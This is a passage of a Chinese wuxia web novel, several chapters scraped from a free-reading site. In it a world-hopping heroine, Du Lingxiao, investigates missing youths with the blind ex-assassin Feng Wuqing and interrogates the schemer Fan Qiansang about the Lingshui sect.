于是关于江云章的话题就此终结，凌霄与江云光快快乐乐享受了美食才解散回家。随后她拿出手机给朋友圈里鄢明济的旅行风光点了赞，欣赏了一番好友多姿多彩的生活后，与对方从风景聊到美食又确定好了下次一起同行。和好友的交流让凌霄心情愉悦，仅剩的回到现代社会的不适应也彻底烟消云散。 毕竟鄢城主与度邪将军的相处模式到底和鄢明济与杜凌霄的相处模式不同，城主和将军需要交流的公务并不存在于凌霄和鄢明济之间，因此凌霄还是觉得与自己世界的好友相处时最为轻松也最毫无顾忌。也许将军十分满意和城主之间的友谊，但凌霄还是更喜欢自己和鄢明济之间的默契和羁绊。 没有接任什么城主地位需要履行职责的鄢明济现在只是一个无忧无虑连工作都没有正式决定的富二代，自由地挥霍着属于自己的青春和来自母亲的大笔钱财。鄢明济自己对自己愉快美好不为金钱所困扰的生活是一种不可多得的幸福颇有自知，因此每次大笔挥霍钱财又或是心血来潮出门旅游时都会捐赠相应数额的钱财给生活贫困的人们。她对自己行为的解释是物尽其用，既然金钱能够买来快乐，那么独乐乐不如众乐乐，自己花钱向旁人分享快乐还能让这份心情成倍。 再次回顾照片中鄢明济的明媚笑颜，凌霄也被好友的心情所感染上了笑意。鄢明济作为在无数平行世界里少见的总会陪伴在自己身边的重要友人，对凌霄而言也是无可替代的心灵支柱。她拿出自己的笔记本记录下了将军世界里的具体情况，对新小说的剧情发展却依旧没有什么灵感。 长时间沉浸在血光飞溅危及生命的战斗里，突然让她坐在桌前安静地握笔写字自然成为了有些困难的事情。她只能又将笔记本放回原位，选择了今天早早上床睡觉。根据她往常的经验，只要在和平世界里待上差不多一个星期左右，她就又能恢复过去的慢生活节奏，静下心来专心创作了。 凌霄躺在床上闭上双眼，期待着崭新的一天自己能够如愿平静下来。 然而她的心愿很快就迎来了破灭。 等她再一次睁开眼睛，头上的木质天花板和古朴简陋的屋内摆设就已经代替了她熟悉的环境。手中竖着以毛笔书写就，偶尔还被泪痕晕染开的信纸明晃晃警告着她，她已经来到了一个与之前现代社会截然不同的地方。 她为这次过于迅速的转换世界感到了惊讶。以往她附身平行世界大多会间隔一两个月，最快也会有一个星期左右的休息时间。这次的穿越间隔时间几乎能算得上是没有，实在是有些出乎预料。但她并未花太长时间去纠结这个问题，当务之急还是尽快弄懂她现在又处于怎样的环境。 于是凌霄再一次闭上了眼睛，开始翻阅身体原主人的记忆。 这一次杜凌霄成为了江湖上名声鹊起的凌霄女侠。师从名门正派玄一派掌门鄢广萱，一手独创的度邪枪法出神入化杀尽邪祟。刚刚下山便清剿了为害一方的山贼势力，云游历练时更是救下了许多饱受压迫的平民百姓，玄一派也因此在江湖中名声更加显赫起来。嫉恶如仇为民众声张正义的举动使得杜凌霄迅速被尊称为度邪大侠，一旦听闻她下山的消息，各地丈着武功高强无恶不作的家伙们都要缩起头从良，生怕被度邪大侠抓住了把柄清算干净。 由于凌霄女侠名声显赫，向她救助的人也络绎不绝。原本在山上修行的凌霄女侠近日收到了来自陌生人的求救信，信里声泪俱下字字泣血，控诉不知来头的一个组织抢走了自己的女儿，此前同村里还有不少年龄相近的少男少女们接连失踪，报官之后也迟迟得不到什么进展，自己的女儿聂雨林年龄符合条件也一定是被抓走了。这位可怜的父亲希望闻名江湖的度邪大侠能够拯救这些可怜的孩子们，避免无数个家庭因此分崩离析。 从信的内容上看完全没有任何漏洞和不对劲的地 7. 007 《杜凌霄，度恶诛邪》全本免费阅读 在玄一派境内，光明磊落公正无私乐于助人的杜凌霄大师姐自然受到了本派弟子们的崇拜和仰慕。因此凌霞一出门就有不少的陌生面孔扬起笑容欣喜地向她问好，甚至还收到了今天清晨盛开的第一朵蔷薇花。凌霄曾经当过女王，坐在王座上接受过文武百官的朝拜，自然不会觉得来自陌生面孔的问好是负担，便用大师姐一贯以来的淡然态度微笑着回以早安。没让任何人发觉此时的度邪大侠杜凌霄已经悄悄发生了一些变化。 刚刚上山还未正式成为玄一派弟子的冯舞清不在众人晨练的行列里。不过凌霄一眼就在零散分布的人群里看到了自己直系师妹江云光的身影。 “师姐早上好！” 江云光早就已经不耐烦千篇一律且枯燥乏味的晨练，一见到杜凌霄到来便立刻收剑擦汗，挥手与凌霄打招呼。 受同胞姐姐影响拜入玄一派钻研武学的少女什么心思都还写在脸上，虽然和现代社会作为大学生的自己相比无论是身形还是眼神都更加凌厉，到底和将军世界奋斗在战场之中的自己有着显而易见的区别。武学对现阶段的江云光而言，并不是用来保卫家园维护自身安危的手段，而是让人感到厌烦，避之不及的作业。 凌霄完全不用花时间思考就猜到了江云光的目的。正好自己需要从师妹口中询问冯舞清的行踪，因此停下了脚步向江云光走去。她按照记忆里大师姐的行为习惯，顺带一个个指出了自己路过的晨练中的弟子们出现的错误：“发力点有问题、重心歪了、做的不错很有进步、眼睛不要乱看记得注意力集中……云光？” 凌霄走到自己师妹身前：“我可是和你姐姐约好要盯着你练武的。” 江云光抱着木剑叹了口气：“我就休息一分钟也不行吗？鄢师姐昨天可是说我很有进步了。” 她确实拥有十分优秀的武学天赋，才让她能够在晨练时抓住时机休息片刻。学习剑招时她便比旁人快了三四招，却也因此不肯再多用心练上几分。毕竟江湖里的刀光剑影和血债血还血雨腥风都离她十分遥远，远得像是话本上的精彩故事。 “但晨练也不单单是为了提升武艺，还有心境上的修行。”大师姐杜凌霄可是全门派上下每天起得最早的人，坚持晨练风雨无阻，就连今天凌霄到来都是大师姐晨练归来以后的事情。在修行一事上大师姐的刻苦努力让凌霄本人也感到十分敬佩。 “我知道的啦。这就练这就练。”江云光表情暗淡回应道，动作缓慢抽出了自己怀里的木剑。她虽然玩心不小，但也能分辨是非对错，为了自己好的劝告会认真倾听。而且这还是来自崇敬师姐的叮嘱，当然没有不从的道理。 “你知道舞清在哪里吗？”凌霄环顾四周后随意问道。冯舞清喜恶分明性情直白，面对自己感兴趣的人时总能投其所好，因此很快就和生性单纯的江云光成为了朋友。 “舞清应该还在屋子里。鄢师姐说她不太适合你修行的玄水经，所以她从昨晚开始就一直在钻研注解，试图证明自己可以。”江云光拔剑的动作慢了几分，靠近凌霄小声说道，“舞清对玄水经那么执着，是不是因为不希望别人小看她？我需不需要劝她还有很多别的功法可以选择？现在这样完全是浪费时间吧。” 凌霄大侠所修行的玄水经并不是玄一派内部最为高深的功法，不论是掌门还是下任掌门都没有掌握修行。之所以被凌霄大侠所选择，不过是由于卷首的“涓流入海，德载万物”让她心有所感，才在一众传承已久的高深内功心法里面选择了玄水经这样过于柔和且历史记载并不多的功法。事实证明大师姐的选择并没有错，玄水经确实在她手上发挥了以柔克刚的强力功效，但却并不意味着适合所有追随着杜凌霄脚步的修行者。 江云光的资质很高，所以她隐隐约约察觉到到冯舞清的执念十分不利于修行玄水经，这样下去只会南辕北辙，得不到应有的努力结果。越是强硬焦急努力钻研，就越是离玄水经的本意飘然自若顺势而为越远。门派里还有不少别的高深武功，甚至鄢明济还找到了能够补足冯舞清视觉缺陷的心法，完全不需要执着于对冯舞清而言可能没有任何提升的玄水经。 “我会去劝她的。她跟在我身后上了山，怎么也不能看着她走远路。”凌霄示意江云光安心晨练。 凌霄大侠体内的深厚内功流转不息，使得目前已经彻底适应平行世界自己身体的凌霄生出了些许跃跃欲试。力量的使用方法万变不离其宗，她所知晓的不少招式以凌霄大侠的能力应该也能够像将军那样顺利使用出来。 她看了一眼自己手中的蔷薇花，冲着江云光微微一笑后，依照自己的习惯聚气弹指。蔷薇花的花枝瞬间刺破空气向着江云光的木剑飞驰而去，与木剑狠狠地撞击在了一起，发出了像是被什么坚硬物体所冲击的沉闷声响。本就有些心不在焉的江云光根本反应不急，只觉得手中木剑一重，彻底失去了控制。她手忙脚乱之中只接到了已经卸力的蔷薇花，徒留下木剑掉在地面惊起的微弱声响。 捉弄了一下不专心师妹的凌霄对自己的成功很是满意，于是转身离去。 “师姐！这是怎么做到的！”江云光捧着蔷薇花激动地问道，“蔷薇能击落我的木剑也太厉害了！我也要学！教教我嘛！” 虽然实力不能说是万里挑一，但江云光很清楚自己从小努力修行而来的武艺绝非无用之物。她从三岁起就抱着木剑追在姐姐和师姐的身后，一直被师傅叮嘱剑的重要性绝对不能轻易放下武器，因此就算是在偷懒休息的时候都剑不离身。剑与她之间的联系已经深深刻入了她的□□，师姐能用蔷薇斩断她与剑之间的联系，实在是不可思议。 “你认真练习我就教你。”凌霄头也没回，只是叮嘱师妹好好修行。 有了具体目标的江云光立刻干劲十足，在师弟师妹们艳羡的目光中将蔷薇小心翼翼收起来，随后重新挥舞起了自己的木剑。自诩为武学天才的骄傲也不允许她继续偷懒，最起码下一次要让师姐认真到用剑来和自己比试才行。 问到了冯舞清的所在地以后，凌霄便直指目标地点，施展轻功踏枝而行。凌霄大侠的轻功和将军比起来不遑多让，但对见识过度邪真君踏空而起的凌霄来说，熟练使用这具身体的能力不过是小菜一碟。大侠修行多年的内力在身体中循环往复源源不断提供着能量，使得凌霄赶起路来两袖生风，不过片刻便到达了冯舞清现在所住的木屋。 拂面而来的水气中夹杂着属于植物的香气，在清晨阳光的照射下，于凌霄的感官中熠熠生辉。她借助着度邪大侠的身躯在一呼一吸之间观察着这个世 8. 008 《杜凌霄，度恶诛邪》全本免费阅读 恰巧路过却被无辜卷入战场的盲女成为了山贼最好的人质。本就被凌霄大侠逼入绝境的山贼突然找到了能够逃脱的机会，自然紧紧扣住盲女的脖颈绝不松手，用人命威胁凌霄大侠放过作恶多端的自己。 被抓住的盲女无法及时对这突如其来的变故产生应有的反应，惊吓之余只能用那双无光的眼睛呆愣地注视着唯一能够救自己的人。 “我警告你，你要是再靠近一步，这个家伙的死活我就说不准了！”山贼握着刀虚张声势大声喊道，“你不就是为了几个死人要来找我的麻烦吗？反正我杀人那么多，也不缺这一个了！左右不过是砍头的事情。倒是你！因为你牵扯上一个可怜的家伙，哈哈，看你还怎么做你的度邪大侠！喂！你这家伙，给我哭几声啊！” 山贼举止粗暴地扯着盲女晃了几下，终于发现了对方眼睛的问题。无药可救的家伙却感到了欣喜若狂，发出嚣张的笑声：“哈哈哈哈我说这家伙怎么这么安分，原来是个瞎的！哈哈哈哈天助我也，不想她死，你就给我老实点……” 然而他死死警惕着的度邪大侠只是叹了口气：“本来还准备给你个痛快的。” 月光为侠客的身影披上一层薄纱，她整个人都被照耀在皎洁的月色里，也因此显得更像是来自光明中的使者，连光都更加偏爱她几分。 “什……” 山贼的话还没有说完，便感到一阵微风拂面，随后肩膀处像是要裂开一般剧痛起来。剧烈的撞击使得他往后重重跌去，一直滑行了数米才堪堪停下。而杜凌霄已经趁着山贼反应不及的空隙，脚下生风，轻巧地将盲女带入自己的怀中。 她甚至抱着解救出来的人质又追击上前，狠狠地给了山贼一脚，直接把对方踩到吐血：“这一脚算是我替她还给你的。你应该庆幸我没有虐待罪人的习惯。不然我必定要拿着你的刀，和你好好清算一下你杀人时候在别人身上留下的痕迹。” 她依旧站在月光里，神情平静，只有语言沾染上了几分怒气，将她拽入凡尘。 但她依旧率先注意到了怀中人质的情况：“你没事吧？脸颊有些发烫，是呼吸不顺畅导致的吗？”度邪大侠在近距离接触盲女之后，就已经从对方的呼吸推测出她应该是有武功傍身，所以没有贸然试探女子的脉搏或是直接上手检查。 “多谢大侠出手相助，我并无大碍。”女子用十分感激的语气说道，脸上的红晕直到呼吸逐渐平缓也依旧没有消退。 度邪大侠经常遇到被自己帮助后十分激动甚至心生爱慕分外热情的人们，因此并没有把女子的反应放在心上。在确保对方无恙以后便十分温柔地将她放回了地面。 “这次牵连到你是我的错。抱歉。”杜凌霄向无辜的牵扯进事件的路人道歉，还挂念着处理山贼后续的问题。本来只想着问出女子需要的赔偿以后便了结这件事情，却没想到这只是开端。 自我介绍名为冯舞清的女子打定了主意要追随在度邪大侠身边。 她先是自报家门毫无保留展现了自己的武功，也顺带解释了为什么会毫无防备成为山贼人质的问题。原来她的眼睛并非完全看不见事物，而是能够看清肉眼无法察觉的某些本质。杜凌霄的灵魂在黑夜中散发出了宛若太阳般的光明，使得习惯了黑暗视野的冯舞清被晃花了眼睛，一时间没有办法像往常一样依靠自己的特殊视觉来行动。而且在意识到山贼的武功不如自己根本无法伤害自己以后，她也就放任对方的行动，彻底将注意力花在分析快把自己闪瞎了的度邪大侠身上了。 总的来说逻辑没有问题。 她对自己过去亦正亦邪的复杂背景也没有保留，解释说自己总能看见形形色色的肮脏人物却从未见过完美无缺的灵魂，也就认为人世间不过是肮脏废物们的游乐场，自己也只需随意享乐便好。甚至在听闻度邪大侠的名声以后，还以为这位江湖的新起之秀也和之前道貌盎然的家伙们一样，内里也依旧是斑驳不堪的灰色。 今日一见度邪大侠，她就被对方灵魂里面的光彩所折服，直言杜凌霄是自己至今为止所见到过的最为光彩靓丽璀璨夺目的灵魂。她为人世间真的有表里如一的人物而感动，决定在度邪大侠灵魂光彩的照射下改邪归正，反思自己过去的错误，洗涤自己的灵魂成为同样光彩的人物。 她删删减减隐去部分真相的话语中没有谎言，只是避之不谈而已。杜凌霄认定她想要追随着自己改邪归正的话语发自内心，因此没有深究她所说的混沌过去，鼓励她任何时候改变自己都绝不算太晚。而冯舞清也如自己所说一般，认真悔过弥补自己的错误，在接下来与杜凌霄的旅途中，依靠自己的视觉帮助度邪大侠清理了许多罪人，积极行善，成功度过了杜凌霄的考验拜入了玄一派。 这个深处黑暗的盲女改邪归正积极向善的故事到此迎来了完美的谢幕，却在凌霄的眼里充满了让人想要吐槽的细节。 虽然度邪大侠也不一定就真的完全信任了来历不明最喜欢在各个组织之间反水的妄为杀手。只是想着依靠自己的武力值可以解决冯舞清带来的所有麻烦，并且将不确定因素放在自己眼皮底下最为方便，顺带还能看着误入歧途的女子走向正途，可谓是一举多得。 但凌霄一回忆就忍不住怀疑，度邪大侠在冯舞清提醒下端掉的邪恶组织们怎么看怎么像是与冯舞清有过合作，才被对方知晓内幕，毫不留情出卖给了大侠。两人结伴而行时遇到的麻烦，也从最开始的有些刻意的拙略演技变成了冯舞清带着大侠去清场。 凌霄怎么分析怎么像冯舞清被雇佣来接近大侠，结果看到大侠灵魂光辉以后瞬间反水，从配合组织行动演戏做好事赢得大侠信任，变成了带着大侠主动去围攻组织。等到冯舞清跟着大侠上山，知道冯舞清是自己组织雇佣去的家伙们也差不多都因为作恶多端折在两个人的手里了。正好让冯舞清带着清清白白的背景拜入山门。 选择了雇佣冯舞清可真是倒了八辈子大霉。 不过作恶多端人品奇差的家伙 9. 009 《杜凌霄，度恶诛邪》全本免费阅读 冯舞清当即表示自己也要跟着大师姐一起下山。 凌霄没有阻拦她的心思：“也行，出去历练总比你独自纠结玄水经的事情要好。” 她向来做事利落，而有武功傍身的冯舞清也不在意一宿未睡的疲惫，两人迅速收拾了一下行李，轻装上阵便准备下山。 凌霄留书汇报自己近期下山清理麻烦的笔才刚落，听到消息的江云光就已经风风火火破门而入。由于被师长们天天念叨着打不过也要躲得过，江云光的轻功基本功十分优秀，即便情绪激动导致步履匆忙都没能闹出什么大动静，甚至她的声音反而先她的脚步声传了过来： “大师姐！你们怎么又要下山了！而且还不带我！” 不能带上她显然才是导致她情绪激动的最重要的原因。还在成长中的少女用哀怨的眼神试图诉说自己的不满：“我也想去！我也要去！我呢！” “我们又不是大师姐带队出去玩，还有正事呢，云光。不过我会记得给你带纪念品的。”冯舞清笑着说道，习惯性炫耀了一下自己的处境。等说出口她才反应过来江云光不是往常那些她用来取乐的观察对象，用不着故意刺激对方观察情绪变化。冯舞清有些心虚地摸了一下自己的眼睑，像是眼部突然感觉到了不适。 好在江云光也知晓事理，从不会给正事添麻烦，抱怨几句只是抒发一下个人情绪，更不会和已经被她看作同伴的冯舞清计较：“那你记得要给我多带点有意思的东西。” “哪次出门少过你的东西？”凌霄停笔，折起纸用自己送给鄢明济的假山镇石将信压在了对方的书桌上。 江云光的注意力已经被转移，所以立刻高兴地说道：“从来没有少过！” “还有呢？”凌霄提醒江云光道。对方绝对不可能在正常修炼时间找到空闲前来控诉凌霄，一定是有人拖江云光给自己和冯舞清带了话，才让江云光有机会专门跑到凌霄面前抱怨几句。 “我当然不会忘记的。”江云光神情认真地说道，将自己一直提着的布包教到了凌霄手里，“这是姐姐给你们两个人出行刚整理出来的应急用品。这次舞清也和大师姐一起，所以姐姐还准备了替换用的眼罩之类的东西。” 相处一段时间以后，差不多知晓玄一派众人作风的冯舞清直白地道了谢。若按照她之前的习惯，肯定要阴阳怪气调侃几句对自己的善意。因为她同样好奇面向自己的善意究竟会因为自己的态度和语言变成什么张牙舞爪的可怖感情。越是容易改变的情感，越是像毒药一般引诱着冯舞清去发掘。越是爱着她的人，越是会在恨上她的时候散发出惊人的光彩。她曾靠着这些如同烟花般绚烂易逝的流光度过漫长而无止境的黑暗深渊。 不过在凌霄面前，她决定暂时收敛自己无伤大雅的小爱好。有了光彩夺目足以照亮整个黑夜的太阳在前，那些变幻莫测随时可能消散的云雾自然没办法再吸引她的驻足。 凌霄自然知道冯舞清的恶癖，因为聂雨林作为首当其冲的受害者没有少被折磨。不过在冯舞清决定改正以后的现在，她也就只能装作不知道冯舞清过去的辉煌战绩了。 她伸手摸了摸江云光的头，叮嘱了几句自己回来后会检查师妹作业以后，便挥手与对方告别。由于现在还是玄一派弟子们的日常上课时间，凌霄两人得以安安静静踏上了下山的路。 路上冯舞清又挑拣着说了不少自己认为和聂雨林相关的有用情报。 她从刚刚摸到武学的大门见识了人体以及世界的奥妙起，就狠下心用自己的□□为代价毅然决然选择了自己想象中更加广阔而真实的世界。她如愿以偿的同时也获得了永久的黑夜，但她从未后悔过。已经彻底见识不到现实世界模样的视野确实给她的生活带来了许多不便，因此为了能够正常生活，她自然有意识的锻炼了自己的听觉，也在机缘巧合认识了聂雨林之后从对方那里学到了不少和听觉相关的事情。 “有你在场，就算我不太擅长分辨别人相貌，也能依靠本质确定聂雨林的行踪了。”凌霄感慨道。 她由于见识了太多平行世界的人们，相同的样貌也总是容易彼此混淆，所以导致她并不擅长辨认人脸和其余特征。已经见过面的人她还可以靠气息识人，但没有接触过的人她就有些犹豫不定了。 “来自大师姐的肯定真让人高兴。”冯舞清目不斜视，端坐在船中央笑着说道。 由于凌霄不喜欢骑马，她们赶路用的手段便选择了水路。站在船头用内力推动着小船飞速前行的凌霄还有余裕一边和冯舞清闲聊几句，一边迎着风欣赏着周围的水景。即便小船正在飞速前行，也依旧在凌霄的精准操控下四平八稳毫无动荡，使得视觉受困的人也不会因为船身的晃动而感到不安。 冯舞清几乎只能根据拂过脸颊的风速和浪花声推断出她们的小船确实正在前行，而且以这个速度，不到一天说不定就能抵达此行的目的地。 “突然有那么一点后悔了。”冯舞清在风声中轻轻感叹道。 “哦？”凌霄回头看向一直盯着自己的女子，语气里夹在了几分真心的惊讶，“为什么后悔？” “当然是为我现在没办法亲眼目睹大师姐的风采后悔。”冯舞清深深地叹了口气，“适宜的太阳和美丽的水景，以及在这样风景中独自立于船头的大师姐，我听到了风从你衣摆处吹过的声音。想必这个场景一定会让有视觉时候的我将其烙印在心底吧。” 凌霄无声笑了。 不同世界的朋友果然还是那个复杂直白，喜欢真心假意混着言说的家伙。 她完全没有掩饰自己笑意的意思：“这些话骗骗别人，让他们跟着你的一举一动忧心忡忡也就算了，骗我可没办法成功啊，舞清。” 她轻声念出了冯舞清的名字：“你可不是会为自己决定感到后悔的家伙吧？你要是后悔自己付出的代价，你就不是冯舞清了。” 每一个世界，她遇到的每一个冯舞清。每一个为了追逐真相本质真理而牺牲自己□□的冯舞清。 10. 010 《杜凌霄，度恶诛邪》全本免费阅读 有凌霄的内力作为底气，她们只花了一日一夜的功夫就赶到了积云，随后立刻在熟悉环境的冯舞清的带领下直奔聂雨林的住所。加上冯舞清的视觉作为依仗，说不定还能发现不少隐藏的线索。 至于除了明显是陷阱的聂雨林之外的失踪人口，凌霄自然没有忘记，早就已经吩咐玄一派的众人分开探索，协助受害者们。 聂雨林的私宅离城镇中心的热闹地段很远，完全被周围的树木所遮掩，称得上是积云的郊区地带。若非冯舞清的指路，恐怕没人会想到这样杳无人烟的地方还藏着一栋木屋。想来必定是聂雨林为了隔绝所有吵闹声音后选出来的最满意的地方。木屋从窗户到门都明显经过刻意加工，于外界环境层层隔绝，用来确保任何声音都不会传进屋内。 然而这个理应不会有人出没的地方却让杜凌霄察觉到了陌生的人气。普普通通的木屋里一片寂静，甚至连呼吸声也不存在。但凌霄的感知依旧告诉她此时的木屋之内有不速之客。她看了一眼冯舞清，从对方有些玩味的表情里得到了确定。 “什么人？”凌霄对着门出声喊道，“我劝你最好自己主动露面。如果让我进屋把你找出来的话，结局会怎样我就不敢保证了。” 冯舞清好整以暇，顺着凌霄说道：“有我在这里，也不存在……” “我还没问你们是什么人呢！”提着剑推门而出的男子身穿一袭白衣，配合着脸上张扬轻快的表情和意气风发的身姿，俨然一位形象经典的少年剑客。他身上的血腥杀气被偏向妍丽的面容所中和，彻底削弱了那些理应不属于少年剑客的阴森气质。 “我可是听说雨林失踪以后才前来寻找线索，比起我，你们两个才更可疑吧！”他挥出自己手中的长剑直指凌霄，语气十分不客气地说道，“给我报上名来！” 他立刻反客为主率先质疑起了凌霄两人的身份，咄咄逼人的气势看上去也符合年少轻狂心怀正义的侠客。初见之人定会被这位面容俊美护友心切的侠客所折服。 可惜这里的两位都不是初见之人。 冯舞清已经捂住了自己的嘴，等着气定神闲的大师姐自行定夺。她本来想要提醒几句，但凌霄传给她的暗号让她保持了沉默。 “原来如此。”凌霄在看到剑客的脸以后变恍然大悟，“你就是策划让舞清接近我的幕后黑手吧？为了防止舞清认出你的身份反水后说出秘密，你才在委托的时候派去了下属伪装了情报，现在又亲身上阵引诱我进陷阱。” “你到底在说些什么！你是在逃避表明身份吗？”剑客没有理会凌霄的发言，眯起上调的眉眼继续逼问，“你才是不安分点就别怪我不客气了！” 凌霄叹了口气，看来眼前的熟人真是不见黄河不死心，而她也彻底弄懂了为何自己之前没有在木屋内听到呼吸声了。因为此刻站在自己身前的剑客本就有不用鼻子呼吸的习惯。 她不着痕迹打量了一番剑客不染一丝尘埃的白衣，到底是看在熟人的面子上没有直接下狠手。她在对方警惕的目光中轻飘飘向前踏步，下一秒却已经飞速闪现至剑客身前，预料到对方的行动轨迹，从容侧身，轻描淡写避开了对方下意识砍向自己的刀光。 剑客似乎是还没有反应过来现在的状况，一击不得后露出了左肩处一个大破绽。然而他早在交手之际便意识到了自己根本无从追寻凌霄的行动轨迹，眉头紧锁，微微瞪大的眼睛似乎已经预见到了自己会被凌霄一掌击中的慌张。 一系列的反应符合逻辑，天衣无缝，流畅自然，顺带也完善了性格急躁的剑客形象，可谓一举多得。 可惜的是他所面对的是凌霄，一个熟悉他到根本不会在意他表演的人。 凌霄根本没有理会两人之间空出的看似可以趁胜追击的间隙，而是原地借势腾空，踏上了剑客手中的长剑，随着由于支撑不住重力落地的长剑一起，堂堂正正立在了被剑拖累跪在地上的剑客面前。 白衣剑客用愤然的表情怒瞪凌霄，然而仰视的视角使得他的目光毫无攻击力。更别提他的额角已经冒出冷汗，刚才的意气昂扬咄咄逼人似乎都成为了错觉。 因为此时从凌霄衣袖中滑出的匕首，正居高临下直指他的鼻尖。他在雪白的刀光反射里看到了自己狼狈的身影。 “好了，现在可以让我们正常交流了吗？范千桑范公子？”凌霄晃了晃自己手里的匕首。 范千桑立刻扭头怒视冯舞清，开始阴阳怪气：“原来我也有看走眼的一天，我们冯天眼反水算是返到自家门前了，连这种朋友间的私事也要同陌生人好好说道。是我没想到您这么看重友谊，之前的所有原来不是对友谊不重视，而是根本不拿我这种小人当朋友啊。” “哈哈哈哈哈哈！小狗先生到底是怎么想的要去装剑客的哈哈哈哈哈！”冯舞清抱着肚子笑到眼泪都要出来了，“而且你这次可真是误会我了，我也没有想到小狗先生才是谋划这些东西的坏家伙啊！我还以为小狗先生就是人脏了一点呢。我也没有和大师姐说过小狗先生的名字。认识你这种家伙可没办法和人炫耀。” “你的意思是我在大街上到处和不认识的人介绍我叫范千桑讨厌被人指着鼻子吗？”范千桑的情绪逐渐恢复了平静。 “这确实不能怪舞清，要怪只能怪你自己倒霉，我恰好知道你的事情罢了。”凌霄笑着说道。想起刚才范千桑版本的少年剑客表演，对清楚范千桑本质的人来说，实在是很难掩饰住自己的笑意。有凌霄大侠的人脉兜底，大家也根本不可能联想到泄露信息的是平行世界的自己本人。 眼前这位也算是凌霄的老熟人了，前几天将军世界的时候，他还在将军的队伍里面和聂雨林一起瞪云章呢。没想到今天转头就成为了武林世界里的敌人。 范千桑咬唇，还是不服气：“不可能！绝对不可能！肯定是冯舞清你这个少长了一张嘴的家伙把我的情报泄露出去的！不然你怎么解释这个人还避开了我的毒！” 冯舞清做出一副恍然大悟的表情：“我就说小狗先生身上怎么成天脏兮兮的，原来是藏了这么多毒在里面啊。大师姐你怎么发现的？就连我也一直以为那是小狗先生为了保护自己的鼻子炼制的药呢。” 范千桑用狐疑的目光看回凌霄。居高临下俯视着他的度邪大侠身上有着他方才无论如何也伪装不出的正气凛然，光明正大正面迎敌夺剑的手段也和他这样喜欢暗中计划的阴暗生物截然不同。正因为背着光，他才在她身后看到了晴空万里的耀眼景象。 于是他感觉到一股猛烈的妒意从他的心脏蔓延到全身，代替了他的呼吸和血液侵蚀掉了他的全部心神。近距离接触下从度邪大侠身上传 11. 011 《杜凌霄，度恶诛邪》全本免费阅读 凌霄根本没有等到范千桑说完话，就一脚踏上对方的肩膀直接将人踩翻在了地上。经历了那么多的世界，她完全可以说比范千桑本人还要了解这个灵魂的本质，没有耐心再听范千桑重复此前无数次遇到她时无数次充满妒意的无意义话语。 “我确实不会亲手杀人。但你应该也知道落在我手里不会有什么好下场。”凌霄维持着范千桑最讨厌的居高临下的视角，冷冷地看着对方在自己脚下的狼狈身影，“废掉你的鼻子你也不会死。” 她灵活地翻动手指将匕首在手中转了一圈，猛地张开五指，任由匕首在重力的作用下笔直下坠。 整个人被笼罩在杜凌霄阴影里的范千桑瞬间瞪大了眼睛。 “看，你都这么害怕了。还是干脆放弃比较好。” 凌霄成功在刀尖触及范千桑鼻子的前一秒握住了下落中的刀柄，匕首切开空气时带起的风吹动了范千桑额前的发丝。他一时之间心跳失常，下意识开始用鼻子呼吸起来。 “你……你……”范千桑组织了半天都没能找到完整的语言。 从遇到杜凌霄开始一切就好像彻底脱离了控制。先是杜凌霄来得如此之快以至于他甚至都没能接到眼线的禀报，再然后是杜凌霄竟然会信任冯舞清这个喜欢反水才加入玄一派不久的新人，出门时带上了对方。还有冯舞清这个只喜欢看看戏的家伙竟然连他和聂雨林这种程度的老相识都卖给了杜凌霄，他原本还以为对方只是又找到了有趣的玩具，会配合着他们一起演戏，这才随机应变伪装成了同样前来寻找线索的剑客。 当然，最出乎意料的还是杜凌霄本人，他的所有心思和打算似乎都在对方面前一览无遗，能够使用的底牌和手段全部作废。本就不擅长正面接敌的他十分果断选择为了自己出卖情报。 他深吸一口气，强忍着被审视带来的不适感，语气却到底习惯性带出了几分怨毒：“我承认这次是我技不如人，我认栽。不过能让度邪大侠这样鼎鼎有名行事磊落的人物对我严词逼供，说出去倒也算显得我是个人物了呢。” 凌霄根本不在意范千桑对自己的讽刺。她面前的家伙只要是活着的生命就瞧不起，心情不好的时候连自己都会骂进去，这点程度的话里带刺对两人来说甚至连前菜都算不上。 “命令我来拖住你脚步的是灵水教的人，给出的指令也是活捉为上。但具体是谁要做什么，我这种小人物就不配知道了。毕竟是直接面对度邪大侠的消耗品，不可能知道更多的秘密。” “那这么一说我也是消耗品了。”冯舞清代号入座，赞同地点头，“我对灵水教半点衷心都谈不上，确实是很适合我的角色。” 凌霄在脑海里回忆了一遍有关灵水教的信息。似乎是行事作风十分低调，由于不以实力见长导致具体实力未知，财力却足够支持底下分部们研究药学的神秘组织。她用有些熟悉的形容词汇以及框架又在脑海里回忆了一遍应该相关的人物们，便已经大致弄明白武林世界的自己究竟遇到了什么事情。 度邪大侠在遇到冯舞清的不久之前，情急之下以血代药，根据自己绝佳的气感和内功救治了一位被恶贼重伤濒死的可怜百姓。这一举动大概被人汇报给了灵水教的高层，才让对方开始对度邪大侠感兴趣。 凌霄很难形容自己现在“怎么又是你”的荒谬感。无数个平行世界，无数种可能性，就算灵水教变成陵水学会变成纯水教灵血教，不变的都是他们对杜凌霄肉身的渴望和执着。 范千桑不认识灵水教的高层毫无疑问是谎言，凌霄可不相信这个家伙会愿意听从自己看不起的人的命令。 “说吧，你们教主是不是叫刘应水？”凌霄低头问道，在范千桑瞪大了的瞳孔里得到了回答。 “诶，灵水教教主原来是死水先生吗？”冯舞清无条件信任大师姐的判断，语气十分惊讶，“我明明看到小狗先生比死水先生更脏的。” 范千桑恶狠狠地瞪了一眼冯舞清：“你还真不愧是个瞎子。” “看来小狗先生觉得死水先生应该比自己肮脏。”冯舞清微笑着回答他道。 “带走聂雨林的也是你们自己人，倒是不用担心她的安危。受牵扯的普通人已经交给了玄一派弟子。接下来直接去找你们老大解决问题就好了。”凌霄快速安排好之后的事情，“刘应水现在在哪里？” 她收起了自己的匕首，用食指轻轻指着范千桑的鼻尖。嗅觉分外优秀的范千桑却从空气里察觉到了比刀锋还要更加恐怖的，毁灭性的气息。泰山压顶般恐怖的压力从凌霄的指尖铺天盖地向他袭来。 “这种事情我是真的不知道！核心人物都在聂雨林那里等着您上门，我也不过是个炮灰而已啊！”范千桑是真的慌了，不得不眯起眼睛用以抵挡锐利的气势，言语飞快解释道，“给我消息的也只是灵水教的下属，我最近根本没有见到过教主的身影！” “死水先生行踪不定来去成风，就算是我也只见过一两面，小狗先生确实没有说谎。”冯舞清觉得自己需要派上点用场，弥补自己对教主本质看走眼，没能将其当作有用情报告诉大师姐的过错，“小狗先生和顺风耳小姐一样怕死，被威胁几句就能撬到情报，两个人也不太可能接到什么核心指令。” 